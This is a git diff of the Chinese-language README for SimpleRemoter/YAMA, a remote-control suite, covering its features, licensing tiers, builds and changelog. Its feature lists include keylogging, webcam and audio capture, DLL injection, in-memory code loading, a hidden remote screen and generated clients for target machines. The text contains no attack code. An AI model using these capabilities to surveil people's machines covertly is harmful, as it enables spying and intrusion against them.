||||||
|
| 📖 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的原始碼位置、設計動機、已知侷限 |
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> **網路連線與隱私聲明**
|
> **使用本軟體即視為您已閱讀、理解並接受上述合規文件全部條款。** 如您不能或不願接受任一條款,請立即停止使用並銷毀本軟體副本。
|
||||||
>
|
|
||||||
> 主控程式(伺服器端)會根據授權狀態與授權伺服器進行網路通訊:
|
### 網路連線與隱私
|
||||||
>
|
|
||||||
> | 版本類型 | 連線行為 |
|
| 版本類型 | 連線行為 |
|
||||||
> |---------|---------|
|
|---|---|
|
||||||
> | 試用版本 | 維持與授權伺服器的持續連線 |
|
| 試用版本 | 維持與授權伺服器的持續連線 |
|
||||||
> | V1/V2 授權版本 | 啟動時連線驗證,通過後斷開 |
|
| V1/V2 授權版本 | 啟動時連線驗證,通過後中斷 |
|
||||||
> | V2 離線授權版本 | 無需連線授權伺服器 |
|
| V2 離線授權版本 | 無需連線授權伺服器 |
|
||||||
>
|
|
||||||
> 除獲得離線授權外,主控程式會與授權伺服器進行必要的資料交互(如偵測破解行為、驗證授權有效性)。
|
除獲得離線授權外,主控程式會與授權伺服器進行必要的資料互動(如偵測破解行為、驗證授權有效性)。
|
||||||
>
|
|
||||||
> **使用本軟體即表示您接受主控程式與授權伺服器之間的資料傳輸。如您不同意,請勿使用本軟體。**
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -120,240 +139,149 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **多種截圖方式**:GDI(相容性強)、DXGI(高效能)、虛擬桌面(背景執行)
|
- **多種螢幕擷取**:GDI / DXGI / 虛擬桌面(Windows)、X11 + XShm(Linux)、CGDisplayStream(macOS)
|
||||||
- **智慧壓縮演算法**:
|
- **智慧壓縮**:DIFF 差分(SSE2 最佳化)/ RGB565(節省 50% 頻寬)/ **H.264**(視訊級壓縮,x264 + VideoToolbox + WebCodecs)/ 灰階模式
|
||||||
- DIFF 差分演算法 - SSE2 優化,僅傳輸變化區域
|
- **自適應品質**:根據 RTT 自動調節影格率(5-30 FPS)、解析度、壓縮演算法
|
||||||
- RGB565 演算法 - 節省 50% 頻寬
|
- **多顯示器**:多螢幕切換 + 多螢幕上牆
|
||||||
- H.264 編碼 - 視訊級壓縮,適合高幀率場景
|
- **跨裝置檔案拖曳**:Ctrl+C/V 跨裝置複製貼上檔案
|
||||||
- 灰階模式 - 極低頻寬消耗
|
- **Web 遠端桌面**:瀏覽器直接存取,手機 / 平板可用([設定指南](./docs/WebHTTPS.md))
|
||||||
- **自適應品質**:根據網路 RTT 自動調整幀率(5-30 FPS)、解析度和壓縮演算法
|
|
||||||
- **多顯示器**:支援多螢幕切換和多螢幕牆顯示
|

|
||||||
- **隱私螢幕**:被控端螢幕可隱藏,支援鎖定畫面狀態下控制
|
|
||||||
- **檔案拖放**:Ctrl+C/V 跨設備複製貼上檔案
|
|
||||||
- **Web 遠端桌面**:透過瀏覽器存取遠端桌面,支援手機/平板([設定指南](./docs/WebHTTPS.md))
|
|
||||||
|
|
||||||
### 檔案管理
|
### 檔案管理
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **V2 傳輸協定**:全新設計,支援大檔案(>4GB)
|
- **V2 傳輸協定**:支援 >4GB 大檔、斷點續傳、SHA-256 校驗
|
||||||
- **斷點續傳**:網路中斷後自動恢復,狀態持久化
|
|
||||||
- **C2C 傳輸**:用戶端之間直接傳輸,無需經過主控
|
- **C2C 傳輸**:用戶端之間直接傳輸,無需經過主控
|
||||||
- **完整性校驗**:SHA-256 雜湊驗證,確保檔案完整
|
- **批次操作**:搜尋、壓縮、批次傳輸
|
||||||
- **批次操作**:支援檔案搜尋、壓縮、批次傳輸
|
|
||||||
|
|
||||||
### 終端管理
|
### 終端管理
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **互動式 Shell**:完整的命令列體驗,支援 Tab 補全
|
- **互動式 Shell**:Tab 自動補全、ANSI escape、調整尺寸
|
||||||
- **ConPTY 技術**:Windows 10+ 原生虛擬終端支援
|
- **現代終端**:Windows ConPTY、Linux / macOS PTY
|
||||||
- **現代 Web 終端**:基於 WebView2 + xterm.js(v1.2.7+)
|
- **Web 終端**:xterm.js + WebSocket,與原生體驗一致
|
||||||
- **終端尺寸調整**:自適應視窗大小
|
|
||||||
|
|
||||||
### 程序與視窗管理
|
|
||||||
|
|
||||||
| 程序管理 | 視窗管理 |
|
|
||||||
|---------|---------|
|
|
||||||
|  |  |
|
|
||||||
|
|
||||||
- **程序管理**:檢視程序清單、CPU/記憶體佔用、啟動/終止程序
|
|
||||||
- **程式碼注入**:向目標程序注入 DLL(需系統管理員權限)
|
|
||||||
- **視窗控制**:最大化/最小化/隱藏/關閉視窗
|
|
||||||
|
|
||||||
### 媒體功能
|
|
||||||
|
|
||||||
| 視訊管理 | 音訊管理 |
|
|
||||||
|---------|---------|
|
|
||||||
|  |  |
|
|
||||||
|
|
||||||
- **網路攝影機監控**:即時視訊串流,支援解析度調整
|
|
||||||
- **音訊監聽**:遠端聲音擷取,支援雙向語音
|
|
||||||
- **鍵盤記錄**:線上/離線記錄模式
|
|
||||||
|
|
||||||
### 其他功能
|
### 其他功能
|
||||||
|
|
||||||
- **服務管理**:檢視和控制 Windows 服務
|
| 模組 | 能力 |
|
||||||
- **登錄檔瀏覽**:唯讀方式瀏覽登錄檔內容
|
|---|---|
|
||||||
- **工作階段控制**:遠端登出/關機/重新啟動
|
| **程序管理** | 程序清單、CPU / 記憶體佔用、終止、DLL 注入 |
|
||||||
- **SOCKS 代理**:透過用戶端建立代理通道
|
| **視窗管理** | 最大化 / 最小化 / 隱藏 / 關閉 |
|
||||||
- **FRP 穿透**:內建 FRP 支援,輕鬆穿透內網
|
| **媒體擷取** | 網路攝影機、雙向語音、鍵盤記錄 |
|
||||||
- **程式碼執行**:遠端執行 DLL,支援熱更新
|
| **系統控制** | 服務管理、登錄檔、工作階段登出 / 關機 |
|
||||||
|
| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
|
||||||
|
| **程式碼執行** | 遠端執行 DLL、記憶體載入、熱更新 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 技術亮點
|
## 全平台支援
|
||||||
|
|
||||||
### 高效能網路架構
|
### Windows 用戶端
|
||||||
|
|
||||||
```
|
**系統需求**:Windows 7 SP1 及以上
|
||||||
┌─────────────────────────────────────────────────────────┐
|
**功能完整性**:✅ 全部功能支援
|
||||||
│ IOCP 通訊模型 │
|
|
||||||
├─────────────────────────────────────────────────────────┤
|
|
||||||
│ • I/O 完成埠:Windows 最高效的非同步 I/O 模型 │
|
|
||||||
│ • 單主控支援 10,000+ 並行連線 │
|
|
||||||
│ • 支援 TCP / UDP / KCP 三種傳輸協定 │
|
|
||||||
│ • 自動分塊處理大資料封包(最大 128KB 傳送緩衝) │
|
|
||||||
└─────────────────────────────────────────────────────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
### 自適應品質控制
|
### Linux 用戶端(v1.2.5+)
|
||||||
|
|
||||||
基於 RTT(Round-Trip Time)的智慧品質調整系統:
|
**系統需求**:
|
||||||
|
- 顯示伺服器:X11/Xorg(暫不支援 Wayland)
|
||||||
|
- 必需函式庫:libX11;推薦函式庫:libXtst(XTest 擴充)、libXss(閒置偵測)
|
||||||
|
|
||||||
| RTT 延遲 | 品質等級 | 幀率 | 解析度 | 壓縮演算法 | 適用場景 |
|
| 功能 | 狀態 | 實作 |
|
||||||
|---------|---------|------|--------|-----------|---------|
|
|---|---|---|
|
||||||
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 區域網路辦公 |
|
| 遠端桌面 | ✅ | X11 螢幕擷取 + libx264 H.264 硬體編碼 |
|
||||||
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般辦公 |
|
| 遠端終端 | ✅ | PTY 互動式 Shell |
|
||||||
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨網/視訊 |
|
| 檔案管理 | ✅ | V2 協定、雙向傳輸、大檔 |
|
||||||
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨網辦公 |
|
| 程序管理 | ✅ | 清單 + 終止 |
|
||||||
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 較差網路 |
|
| 剪貼簿同步 | ✅ | xclip / xsel 外部工具,支援檔案 URI |
|
||||||
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 極差網路 |
|
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
|
| 常駐程序 | ✅ | 雙 fork 守護化 |
|
||||||
|
|
||||||
- **零額外開銷**:複用心跳封包計算 RTT
|
**編譯**:`cd linux && cmake . && make`
|
||||||
- **快速降級**:2 次偵測即觸發,回應網路波動
|
|
||||||
- **謹慎升級**:5 次穩定後才提升品質
|
|
||||||
- **冷卻機制**:防止頻繁切換
|
|
||||||
|
|
||||||
### V2 檔案傳輸協定
|
### macOS 用戶端(v1.3.2+)
|
||||||
|
|
||||||
```cpp
|
**系統需求**:
|
||||||
// 77 位元組協定標頭 + 檔案名稱 + 資料載荷
|
- macOS 10.15 (Catalina) 及以上
|
||||||
struct FileChunkPacketV2 {
|
- 架構:Intel (x64) 和 Apple Silicon (arm64) 通用二進位檔
|
||||||
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
|
- 系統權限:螢幕錄影、輔助功能、完整磁碟存取
|
||||||
uint64_t transferID; // 傳輸工作階段 ID
|
|
||||||
uint64_t srcClientID; // 來源用戶端 ID (0=主控端)
|
|
||||||
uint64_t dstClientID; // 目標用戶端 ID (0=主控端, C2C)
|
|
||||||
uint32_t fileIndex; // 檔案編號 (0-based)
|
|
||||||
uint32_t totalFiles; // 總檔案數
|
|
||||||
uint64_t fileSize; // 檔案大小(支援 >4GB)
|
|
||||||
uint64_t offset; // 目前區塊位移
|
|
||||||
uint64_t dataLength; // 本區塊資料長度
|
|
||||||
uint64_t nameLength; // 檔案名稱長度
|
|
||||||
uint16_t flags; // 標誌位元 (FFV2_LAST_CHUNK 等)
|
|
||||||
uint16_t checksum; // CRC16 校驗(可選)
|
|
||||||
uint8_t reserved[8]; // 預留擴充
|
|
||||||
// char filename[nameLength]; // UTF-8 相對路徑
|
|
||||||
// uint8_t data[dataLength]; // 檔案資料
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
**特性**:
|
| 功能 | 狀態 | 實作 |
|
||||||
- 大檔案支援(uint64_t 突破 4GB 限制)
|
|---|---|---|
|
||||||
- 斷點續傳(狀態持久化到 `%TEMP%\FileTransfer\`)
|
| 遠端桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬體編碼 |
|
||||||
- SHA-256 完整性校驗
|
| 鍵鼠控制 | ✅ | CGEvent,支援雙擊、拖曳 |
|
||||||
- C2C 直傳(用戶端到用戶端)
|
| 遠端終端 | ✅ | PTY 互動式 Shell(zsh/bash) |
|
||||||
- V1/V2 協定相容
|
| 檔案管理 | ✅ | V2 協定、大檔 |
|
||||||
|
| 程序管理 | ✅ | proc_listpids + 終止 |
|
||||||
|
| 剪貼簿同步 | ✅ | NSPasteboard,支援檔案 URL + NSFilenamesPboardType |
|
||||||
|
| 常駐模式 | ✅ | `-d` 後台執行、電源管理、閒置偵測 |
|
||||||
|
|
||||||
### 螢幕傳輸優化
|
**編譯**:`cd macos && ./build.sh`
|
||||||
|
|
||||||
- **SSE2 指令集**:像素差分計算硬體加速
|
### Go 主控(v1.3.4+)
|
||||||
- **多執行緒並行**:執行緒池分塊處理螢幕資料
|
|
||||||
- **捲動偵測**:識別捲動場景,減少 50-80% 頻寬
|
|
||||||
- **H.264 編碼**:基於 x264,GOP 控制,視訊級壓縮
|
|
||||||
|
|
||||||
### 安全機制
|
**系統需求**:Go 1.21+(僅編譯時);二進位執行無依賴
|
||||||
|
|
||||||
| 層級 | 措施 |
|
| 能力 | 實作 |
|
||||||
|------|------|
|
|---|---|
|
||||||
| **傳輸加密** | AES-256 資料加密,可設定 IV |
|
| 遠端桌面 | H.264 → WebSocket → WebCodecs,1080P @ 20fps |
|
||||||
| **身分驗證** | 簽章驗證 + HMAC 認證 |
|
| 遠端終端 | xterm.js + PTY/ConPTY 透明轉發 |
|
||||||
| **授權控制** | 序號綁定(IP/網域),多級授權 |
|
| 多使用者 | Challenge-Response + 不透明 token + 按群授權 |
|
||||||
| **檔案校驗** | SHA-256 完整性驗證 |
|
| 部署 | Nginx 反向代理 / Let's Encrypt / systemd unit / `/etc/environment` |
|
||||||
| **工作階段隔離** | Session 0 獨立處理 |
|
|
||||||
|
|
||||||
### 相依套件
|
**編譯**:`cd server/go && go build -o server_linux_amd64 ./cmd`
|
||||||
|
|
||||||
| 套件 | 版本 | 用途 |
|
|
||||||
|------|------|------|
|
|
||||||
| zlib | 1.3.1 | 通用壓縮 |
|
|
||||||
| zstd | 1.5.7 | 高速壓縮 |
|
|
||||||
| x264 | 0.164 | H.264 編碼 |
|
|
||||||
| libyuv | 190 | YUV 轉換 |
|
|
||||||
| HPSocket | 6.0.3 | 網路 I/O |
|
|
||||||
| jsoncpp | 1.9.6 | JSON 解析 |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 系統架構
|
## 系統架構
|
||||||
|
|
||||||
|
### 全平台拓撲
|
||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
┌────────────────────────────────────────────────────────┐
|
||||||
│ 多層授權架構 (Multi-Layer Authorization) │
|
│ 主控層 │
|
||||||
├─────────────────────────────────────────────────────────────────────────────┤
|
|
||||||
│ │
|
│ │
|
||||||
│ ┌─────────────────────┐ │
|
│ ┌──────────────────┐ ┌──────────────────┐ │
|
||||||
│ │ 超級管理員 │ │
|
│ │ C++ MFC 主控 │ │ Go 主控 │ │
|
||||||
│ │ (授權伺服器) │ │
|
│ │ YAMA.exe │ │ (Win/Linux/Mac) │ │
|
||||||
│ │ Super Admin │ │
|
│ │ Windows only │ │ Web UI 全平台 │ │
|
||||||
│ └─────────┬───────────┘ │
|
│ └────────┬─────────┘ └────────┬─────────┘ │
|
||||||
│ │ │
|
└────────────┼──────────────────────────┼─────────────────┘
|
||||||
│ ┌──────────────┼──────────────┐ │
|
|
||||||
│ │ V2 授權 │ V2 授權 │ V2 授權 │
|
|
||||||
│ │ (ECDSA) │ (ECDSA) │ (ECDSA) │
|
|
||||||
│ ▼ ▼ ▼ │
|
|
||||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
|
||||||
│ │ 第一層 A │ │ 第一層 B │ │ 第一層 C │ ◄── 獨立營運 │
|
|
||||||
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔離 │
|
|
||||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
|
||||||
│ │ │ │ │
|
|
||||||
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
|
|
||||||
│ │ V1 授權 │ │ │ V1 授權 │ │
|
|
||||||
│ ▼ ▼ ▼ ▼ ▼ │
|
|
||||||
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
|
|
||||||
│ │ 下級 A1 │ │ 下級 A2 │ │ 下級 C1 │ │ 下級 C2 │ │
|
|
||||||
│ │ Master │ │ Master │ │ Master │ │ Master │ │
|
|
||||||
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
|
|
||||||
│ │ │ │ │ │
|
|
||||||
│ ▼ ▼ ▼ ▼ │
|
|
||||||
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
|
|
||||||
│ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │
|
|
||||||
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
|
|
||||||
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
|
|
||||||
│ │
|
│ │
|
||||||
├─────────────────────────────────────────────────────────────────────────────┤
|
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
|
||||||
│ 授權類型 驗證方式 特點 │
|
└────────┬─────────────────┘
|
||||||
│ ───────────────────────────────────────────────────────────────────────── │
|
│
|
||||||
│ V2 授權 ECDSA P-256 簽名 支援離線驗證,下級連線數限制 │
|
┌──────────────┼──────────────┐
|
||||||
│ V1 授權 HMAC + 線上驗證 連線上級伺服器驗證 │
|
▼ ▼ ▼
|
||||||
│ 試用版 線上驗證 功能受限,需保持連線 │
|
┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||||
└─────────────────────────────────────────────────────────────────────────────┘
|
│ Windows │ │ Linux │ │ macOS │
|
||||||
|
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │
|
||||||
|
│ (DXGI) │ │ (X11) │ │ (CG) │
|
||||||
|
└─────────┘ └─────────┘ └─────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
### 架構優勢
|
### 多層授權(簡化視圖)
|
||||||
|
|
||||||
| 特性 | 說明 |
|
```
|
||||||
|------|------|
|
超級管理員(授權伺服器)
|
||||||
| **層級控制** | 超級使用者可管理任意主控程式,支援無限層級 |
|
│ V2 授權 (ECDSA P-256)
|
||||||
| **完全隔離** | 不同第一層使用者的授權、資料、用戶端完全隔離 |
|
▼
|
||||||
| **獨立營運** | 第一層使用者可獨立定價、發放授權,打造專屬品牌 |
|
第一層主控 ──┬── 第一層主控 ──┬── 第一層主控 ◄── 獨立營運 / 完全隔離
|
||||||
| **水平擴充** | 單 Master 支援 10,000+ 用戶端,多層架構可達百萬級 |
|
│ V1 │ V1 │ V1
|
||||||
| **離線支援** | V2 授權支援完全離線驗證,無需依賴上游服務 |
|
▼ ▼ ▼
|
||||||
|
下級主控 → 用戶端 (10,000+) → 裝置群
|
||||||
|
```
|
||||||
|
|
||||||
### 主控程式(Server)
|
| 授權 | 驗證 | 特點 |
|
||||||
|
|---|---|---|
|
||||||
|
| V2 授權 | ECDSA P-256 簽章 | 離線驗證、下級連線數限制 |
|
||||||
|
| V1 授權 | HMAC + 連線驗證 | 連接上級伺服器驗證 |
|
||||||
|
| 試用版 | 連線驗證 | 功能受限、連線限制(詳見 [合規文件](./docs/Compliance_AntiAbuse.md)) |
|
||||||
|
|
||||||
主控程式 **YAMA.exe** 提供圖形化管理介面:
|
完整說明:[多層授權方案](./docs/MultiLayerLicense.md)
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
- 基於 IOCP 的高效能伺服器
|
|
||||||
- 用戶端分組管理
|
|
||||||
- 即時狀態監控(RTT、地理位置、活動視窗)
|
|
||||||
- 一鍵產生用戶端
|
|
||||||
|
|
||||||
### 受控程式(Client)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
**執行形式**:
|
|
||||||
|
|
||||||
| 類型 | 說明 |
|
|
||||||
|------|------|
|
|
||||||
| `ghost.exe` | 獨立可執行檔,無外部相依 |
|
|
||||||
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
|
|
||||||
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
|
|
||||||
| Linux 用戶端 | 跨平台支援(v1.2.5+) |
|
|
||||||
| macOS 用戶端 | 跨平台支援(v1.3.2+) |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -363,62 +291,34 @@ struct FileChunkPacketV2 {
|
|||||||
|
|
||||||
無需編譯,下載即用:
|
無需編譯,下載即用:
|
||||||
|
|
||||||
1. **下載發佈版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
1. **下載發行版** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
||||||
2. **啟動主控** - 執行 `YAMA.exe`,輸入授權資訊(見下方試用口令)
|
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊
|
||||||
3. **產生用戶端** - 點擊工具列「產生」按鈕,設定伺服器 IP 和連接埠
|
3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
|
||||||
4. **部署用戶端** - 將產生的用戶端複製到目標機器並執行
|
4. **部署用戶端** - 複製到目標機器執行
|
||||||
5. **開始控制** - 用戶端上線後,雙擊即可開啟遠端桌面
|
5. **開始控制** - 用戶端上線後雙擊遠端桌面
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 首次測試建議在同一台機器上執行主控和用戶端,使用 `127.0.0.1` 作為伺服器位址。
|
> 首次測試建議在同一台機器上執行主控和用戶端,使用 `127.0.0.1` 作為伺服器位址。
|
||||||
|
|
||||||
### 編譯要求
|
### Go 主控部署(VPS)
|
||||||
|
|
||||||
- **作業系統**:Windows 10/11 或 Windows Server 2016+
|
參見 [Web 遠端桌面設定](./docs/WebHTTPS.md)。最小步驟:
|
||||||
- **開發環境**:Visual Studio 2019 / 2022 / 2026
|
|
||||||
- **SDK**:Windows 10 SDK (10.0.19041.0+)
|
|
||||||
|
|
||||||
### 編譯步驟
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 1. 複製程式碼(必須使用 git clone,不要下載 zip)
|
# 1. 在 VPS 上跑 Go 主控
|
||||||
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||||
|
|
||||||
# 2. 開啟方案
|
# 2. nginx 反代 9001 到 HTTPS
|
||||||
# 使用 VS2019+ 開啟 SimpleRemoter.sln
|
# 詳見 docs/WebHTTPS.md
|
||||||
|
|
||||||
# 3. 選擇組態
|
# 3. 瀏覽器開啟 https://yourdomain.com/,登入、新增用戶端
|
||||||
# Release | x86 或 Release | x64
|
|
||||||
|
|
||||||
# 4. 編譯
|
|
||||||
# 建置 -> 建置方案
|
|
||||||
```
|
```
|
||||||
|
|
||||||
**常見問題**:
|
### 試用授權(v1.2.4+)
|
||||||
- 相依套件衝突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
|
|
||||||
- 非中文系統亂碼:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
|
|
||||||
- 編譯器相容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
|
|
||||||
|
|
||||||
### 部署方式
|
提供 2 年有效期、20 並發連線、僅限內網的試用口令:
|
||||||
|
|
||||||
#### 內網部署
|
|
||||||
|
|
||||||
主控與用戶端在同一區域網路,用戶端直連主控 IP:Port。
|
|
||||||
|
|
||||||
#### 外網部署(FRP 穿透)
|
|
||||||
|
|
||||||
```
|
```
|
||||||
用戶端 ──> VPS (FRP Server) ──> 本機主控 (FRP Client)
|
|
||||||
```
|
|
||||||
|
|
||||||
詳細設定請參考:[反向代理部署說明](./反向代理.md)
|
|
||||||
|
|
||||||
### 授權說明
|
|
||||||
|
|
||||||
自 v1.2.4 起提供試用口令(2 年有效期,20 並行連線,僅限內網):
|
|
||||||
|
|
||||||
```
|
|
||||||
授權方式:按電腦 IP 綁定
|
|
||||||
主控 IP:127.0.0.1
|
主控 IP:127.0.0.1
|
||||||
序號:12ca-17b4-9af2-2894
|
序號:12ca-17b4-9af2-2894
|
||||||
密碼:20260201-20280201-0020-be94-120d-20f9-919a
|
密碼:20260201-20280201-0020-be94-120d-20f9-919a
|
||||||
@@ -429,271 +329,129 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **多層授權方案**
|
> **多層授權方案**
|
||||||
>
|
>
|
||||||
> SimpleRemoter 採用企業級多層授權架構,支援代理商/開發者獨立運營:
|
> 支援代理商 / 開發者獨立營運:第一層使用者獲得授權後可完全離線使用,下級使用者只連線到您的伺服器。完整說明:[多層授權方案](./docs/MultiLayerLicense.md)
|
||||||
> - **離線驗證**:第一層使用者獲得授權後可完全離線使用
|
|
||||||
> - **獨立控制**:您的下級使用者只連接到您的伺服器,資料完全由您掌控
|
### 編譯
|
||||||
> - **自由定制**:支援二次開發,打造您的專屬版本
|
|
||||||
>
|
- **C++ 主控 & Windows 用戶端**:VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
|
||||||
> 📖 **[查看完整授權方案說明](./docs/MultiLayerLicense.md)**
|
- **Linux 用戶端**:`cd linux && cmake . && make`
|
||||||
|
- **macOS 用戶端**:`cd macos && ./build.sh`
|
||||||
|
- **Go 主控**:`cd server/go && go build ./cmd`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 用戶端支援
|
## 使用者文件
|
||||||
|
|
||||||
### Windows 用戶端
|
| 文件 | 適用對象 | 內容 |
|
||||||
|
|---|---|---|
|
||||||
**系統要求**:Windows 7 SP1 及以上
|
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分鐘首次部署 |
|
||||||
|
| 📖 [多級網路搭建指南](./docs/NetworkSetup.md) | 需要管理下級的使用者 | 多級網路架構 |
|
||||||
**功能完整性**:✅ 全部功能支援
|
| 📖 [日常使用手冊](./docs/UserManual.md) | 所有使用者 | 全功能詳解 |
|
||||||
|
| 📖 [代理商營運手冊](./docs/AgentManual.md) | 代理商 / 經銷商 | 下級授權、FRP 設定 |
|
||||||
### Linux 用戶端(v1.2.5+)
|
| 📖 [客製化開發指南](./docs/CustomizationGuide.md) | 技術型客戶 | 品牌客製化、二次開發 |
|
||||||
|
| 📖 [Web 遠端桌面設定](./docs/WebHTTPS.md) | 行動端 / Go 主控使用者 | HTTPS 反代、網域設定 |
|
||||||
**系統要求**:
|
| 📖 [反濫用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合規邊界、責任劃分 |
|
||||||
- 顯示伺服器:X11/Xorg(暫不支援 Wayland)
|
| 📖 [反濫用技術措施](./docs/Compliance_TechnicalMeasures.md) | 合規稽核方 | 屏障原始碼位置 + 設計動機 |
|
||||||
- 必需套件:libX11
|
|
||||||
- 建議套件:libXtst(XTest 擴充)、libXss(閒置偵測)
|
|
||||||
|
|
||||||
**功能支援**:
|
|
||||||
|
|
||||||
| 功能 | 狀態 | 實作 |
|
|
||||||
|------|------|------|
|
|
||||||
| 遠端桌面 | ✅ | X11 螢幕擷取,滑鼠/鍵盤控制 |
|
|
||||||
| 遠端終端 | ✅ | PTY 互動式 Shell |
|
|
||||||
| 檔案管理 | ✅ | 雙向傳輸,大檔案支援 |
|
|
||||||
| 程序管理 | ✅ | 程序清單、終止程序 |
|
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
|
||||||
| 常駐程式 | ✅ | 雙 fork 常駐化 |
|
|
||||||
| 剪貼簿 | ⏳ | 開發中 |
|
|
||||||
| 工作階段管理 | ⏳ | 開發中 |
|
|
||||||
|
|
||||||
**編譯方式**:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd linux
|
|
||||||
cmake .
|
|
||||||
make
|
|
||||||
```
|
|
||||||
|
|
||||||
### macOS 用戶端(v1.3.2+)
|
|
||||||
|
|
||||||
**系統要求**:
|
|
||||||
- macOS 10.15 (Catalina) 及以上
|
|
||||||
- 架構支援:Intel (x64) 和 Apple Silicon (arm64) 通用二進位
|
|
||||||
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
|
|
||||||
|
|
||||||
**功能支援**:
|
|
||||||
|
|
||||||
| 功能 | 狀態 | 實作 |
|
|
||||||
|------|------|------|
|
|
||||||
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,VideoToolbox H.264 硬體編碼 |
|
|
||||||
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
|
|
||||||
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
|
|
||||||
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
|
|
||||||
| 遠端終端 | ✅ | PTY 互動式 Shell(zsh/bash) |
|
|
||||||
| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
|
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
|
||||||
| 分組管理 | ✅ | 持久化設定檔 |
|
|
||||||
| 程序管理 | ⏳ | 開發中 |
|
|
||||||
| 剪貼簿 | ⏳ | 開發中 |
|
|
||||||
|
|
||||||
**編譯方式**:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd macos
|
|
||||||
./build.sh
|
|
||||||
# 或手動編譯:
|
|
||||||
# mkdir build && cd build && cmake .. && make
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
### v1.3.3 (2026.5.10)
|
### v1.3.5 (2026.5.31)
|
||||||
|
|
||||||
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
|
**硬體編碼擴充(H.264 / AV1)& 多客戶授權生產化 & FRP 子級自動化**
|
||||||
|
|
||||||
**新功能:**
|
**新功能:**
|
||||||
- **服務端身分校驗(Layer 1)**:Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
|
- **用戶端硬體編碼**:新增 FFmpeg 路徑的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可呼叫 NVENC / Quick Sync / AMF 等 GPU 編碼器;`EncoderFactory` 執行時自動優選
|
||||||
- **子連線認證(Layer 2,TOKEN_CONN_AUTH)**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
|
